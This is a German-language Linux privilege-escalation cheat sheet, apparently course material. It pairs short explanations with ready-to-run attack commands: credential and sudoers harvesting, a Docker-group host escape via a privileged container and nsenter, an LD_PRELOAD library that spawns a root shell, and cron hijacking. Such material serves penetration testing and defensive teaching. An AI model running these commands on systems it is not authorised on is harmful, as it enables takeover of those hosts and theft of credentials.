LINUX PRIVESC CHEATSHEET

1 Informationssammlung

- Benutzerinformationen
  - `id`
  - `sudo -l`
  - `cat /etc/passwd`
  - `cat /etc/group`
  - `cat /etc/sudoers`
- Kernel und Distribution
  - `uname -a`
  - `cat /etc/os-release`
  - `lsb_release -a`
- Netzwerkkonfiguration
  - `ifconfig` / `ip addr show`
  - `netstat -tlpn` / `ss -antp`
  - `iptables -L`
  - `cat /etc/resolv.conf`
- Dateien und Dienste
  - `cat /etc/crontab` / `cat /etc/cron*/*`
  - `find / -uid 0 -perm -u=s -type f 2>/dev/null`
  - `grep -Hirn pass /*`
  - `ls -laR /root/`
  - `ls -laR /home/`
  - `ps aux`
  - `df -h`

2 Grundlagen

Linux Berechtigungsmodell

Alle Aktionen unter Unix-Systemen finden im Kontext eines Prozesses statt. Ein Prozess hat einen Benutzer und mind. eine Gruppe zugewiesen, die die Berechtigungen dieses Prozesses steuern. Die Berechtigungen werden an Kindprozesse vererbt. Der Benutzer mit den höchsten Berechtigungen ist der `root`-Benutzer mit der ID 0.

User-IDs

Unix-Benutzer und -Gruppen werden durch eine Ganzzahl identifiziert, haben in der Regel aber auch einen Namen zugewiesen. Bei den IDs unterscheidet man mehrere Typen, wobei die beiden wichtigen die UID/GID und die EUID/EGID. In der UID/GID sind der „echte“ Benutzer und die „echte“ Gruppe gespeichert, in EUID/EGID (effective) der Benutzer und die Gruppe, die zur Rechteprüfung hinzugezogen werden.

Zugriffsrechte

Zugriffsrechte auf Dateien und Verzeichnisse werden nach Benutzer, Gruppe und andere aufgeschlüsselt. Es können Lese- , Schreib- und Ausführungsberechtigungen (‘rwx‘) erteilt werden. Wenn eine Datei ausgeführt wird, werden im Normalfall die IDs vom Elternprozess vererbt. Neben diesen 9 Bits gibt es noch spezielle Bits wie das setuid-Bit (erkennbar an dem s statt x bei der ‘ls -l‘ Ausgabe) bei Benutzer und Gruppe, welches dafür sorgt, dass bei Ausführung die EUID/EGID auf den Benutzer bzw. die Gruppe gesetzt wird.

3 Spezielle Gruppen

`video`-Gruppe

Ein Benutzer in der `video`-Gruppe hat Zugriff auf den Bildschirm des Systems. Die aktuell auf dem Bildschirm angezeigten Pixel können unter aus `/dev/fb0` mit dem Befehl `cat /dev/fb0 > /tmp/screen.raw` gelesen werden. Öffnet man diese Datei dann in GIMP im Format *Raw image data* (Datei → Öffnen → dann unten die Checkbox „Dateityp automatisch erkennen“ abwählen und „Rohe Bilddaten“ als Dateityp wählen), lässt sich nach der Dateiauswahl mit einem passenden *Image type* und der richtigen Auflösung der Bildschirminhalt anzeigen. Die Bildschirmauflösung gibt der Befehl `fbset` aus.

`docker`-Gruppe

Benutzer in der `docker`-Gruppe dürfen Dockercontainer starten und verwalten.

Da der Docker-Daemon mit `root`-Rechten läuft, können wir einen Container mit `root`-Rechten starten, der uns das Ausbrechen auf den Host erlaubt:

```
docker run -it --privileged -v /:/root
    alpine chroot /root
```

Um auch die anderen Isolationen wie die Netzwerkisolation zu umgehen, brauchen wir Zugriff auf die Linux-Namespaces. Das erreichen wir mit diesem Befehl:

```
nsenter -t 1 -m -u -i -n /bin/bash
```

Dann haben wir die gleichen Privilegien wie der `init`-Prozess.

Konrad Langenberg, Jonas Franz und Simon Hilchenbach

4 Fehlkonfiguration

- `login`: Benutzer ohne Passwort / mit unsicherem Passwort
- `sudo`:
  - Privilegienerhöhung ohne Passwort (Option NOPASSWD)
  - `env_keep`: Reicht Umgebungsvariablen weiter, kann man in Kombination mit `LD_PRELOAD` ausnutzen.
- `ssh`: Privater SSH-Key ungeschützt unter `~/.ssh/id_*`

5 Capabilities

Capabilities teilen die Privilegien des `root`-Benutzers in verschiedene Teile auf, die pro Prozess einzeln aktiviert und deaktiviert werden können. So muss nicht jeder Prozess vollständige `root`-Rechte bekommen. Eine Liste mit allen Capabilities ist im Manual zu finden.

Mit `getcap <Pfad zum Programm>` lässt sich anzeigen, welche Capapilities ein bestimmtes Programm nutzen darf. Mit dem `setcap`-Befehl können Capabilities gesetzt werden. Voraussetzung ist der Besitz der `CAP_SETFCAP`-Capability.

6 LD_PRELOAD

`LD_PRELOAD` ist eine Umgebungsvariable, die dem dynamischen Linker angibt, welche Libraries vor Programmstart zusätzlich geladen werden sollen. Dadurch kann man eigene Libraries injizieren, die dann im Kontext eines anderen Programms ausgeführt werden.

Das ist dann besonders nützlich, wenn wir es in eine höhere privilegierte Umgebung eingefügt bekommen, z. B. einen Service, über den unprivilegierte Benutzer Umgebungsvariablen modifizieren können.

Die dynamischen Linker führen `LD_PRELOAD` nicht auf suid-Binaries durch. Der musl-Linker ignoriert diese jedoch nur während der GNU-Linker LD_PRELOAD löscht. Dadurch kann es auf musl-Systemen möglich sein, eigene Libraries in Kindprozesse von suid-Prozessen zu injecten, wenn UID = EUID.

Kompilieren einer dynamischen Library; `inject.c`:

```
#include <stdlib.h>
#include <unistd.h>
void _init () {
  unsetenv("LD_PRELOAD");
  char *const argv[] = {"/bin/bash", NULL};
  execv(argv[0], argv);
}
```

Kompilieren der Bibliothek durch

```
gcc -nostartfiles -shared -o inject.so
  inject.c
```

Injizieren der Library via

```
LD_PRELOAD=/tmp/inject.so ls
```

Es werden nicht, wie vorgesehen, die Dateien aufgelistet, sondern eine neue Shell gespawnt.

7 Cron-Hijacking

Cron ist ein Systemdienst, der periodisch einen Befehl ausführt. Das linuxwiki bietet einen guten Überblick über die Funktionsweise.

Es gibt verschiedene Möglichkeiten, wie man ein System mittels Cron übernehmen kann:

- `crontab`-Datei ist nicht gegen Schreibzugriffe Dritter abgesichert → Eigenen Befehl hinzufügen und mit Zeitplan `* * * * *` so bald wie möglich ausführen.
- Dritte können in `/etc/cron.d` weitere crontab-Dateien anlegen; eine Liste von Pfaden, die Cron unter GNU/Linux durchsucht, ist hier zu finden.
- Ein Shell-Skript, welches von einem Cronjob ausgeführt wird, ist nicht gegen Schreibzugriffe Dritter abgesichtert. Als Angreifer kann man dieses dann modifizieren und bis zur Ausführung am nächsten Zeitpunkt warten.

Eine Alternative zu Cron sind Systemd Timers.

8 Kernel Exploits

Kernel Exploits nutzen Schwachstellen im Linux-Kernel aus und sind ein besonders effektiver Angriff bei älteren Versionen. Da der Kernelcode i.d.R. mit höheren Rechten, als der Code im Usermodus läuft, eignen sich solche Exploits gut zum Ausbauen der Rechte auf dem Zielsystem. Eine Sammlung mit existierenden Exploits gibt es hier. Erwähnenswert ist die Kernel-Lücke DirtyCOW, welche häufig bei älteren Systemen benutzt werden kann. Alle Infos dazu gibt es auf der offiziellen Website.

9 Further Reading

- `linpeas.sh` – Ein PrivEsc-Skript, welches automatisch ein System auf mögliche Schwachstellen prüft
- GTFOBins – Eine Liste mit verschiedenen Methoden, um mit Linux-Standardwerkzeugen Privilegien zu erhöhen
- PayloadsAllTheThings - Linux Privilege Escalation
- Linux Privilege Escalation Checklist